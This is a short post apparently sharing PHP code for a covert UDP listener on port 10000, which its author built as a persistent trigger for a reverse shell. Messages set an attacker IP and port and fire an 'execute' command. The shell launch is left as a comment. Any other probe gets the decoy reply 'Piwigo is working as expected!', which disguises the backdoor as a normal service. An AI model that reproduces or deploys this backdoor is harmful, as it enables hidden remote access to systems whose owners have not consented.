Simple PHP Listener on UDP 10000

 Found the following site demonstrating how to create a linux service with systemd and then extended it for a reverse shell.

# Credit for the idea
# https://medium.com/@benmorel/creating-a-linux-service-with-systemd-611b5c8b91d6

$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_bind($sock, '0.0.0.0', 10000);
$setIP = "";

for (;;) {
    socket_recvfrom($sock, $message, 1024, 0, $ip, $port);
    if (strpos($message, "ip") !== false) {
            $setIP = substr($message, 3, -1);
            $reply = $setIP . "\n";
    }
    elseif (strpos($message, "port") !== false) {
            $setPort = substr($message, 5, -1);
            $reply = $setPort . "\n";
    }
    elseif ((strpos($message, "status") !== false) && (strlen($setIP) > 0) && (strlen($setPort) > 1)) {
            $reply = "IP: $setIP Port: $setPort\n";
    }
    elseif ((strpos($message, "execute") !== false) && (strlen($setIP) > 0) && (strlen($setPort) > 1)) {
            # Launches a php-reverseshell...
            $reply = "IP: $setIP Port: $setPort\n";
    }
    else {
        $reply = "Piwigo is working as expected!";
    }
    socket_sendto($sock, $reply, strlen($reply), 0, $ip, $port);
}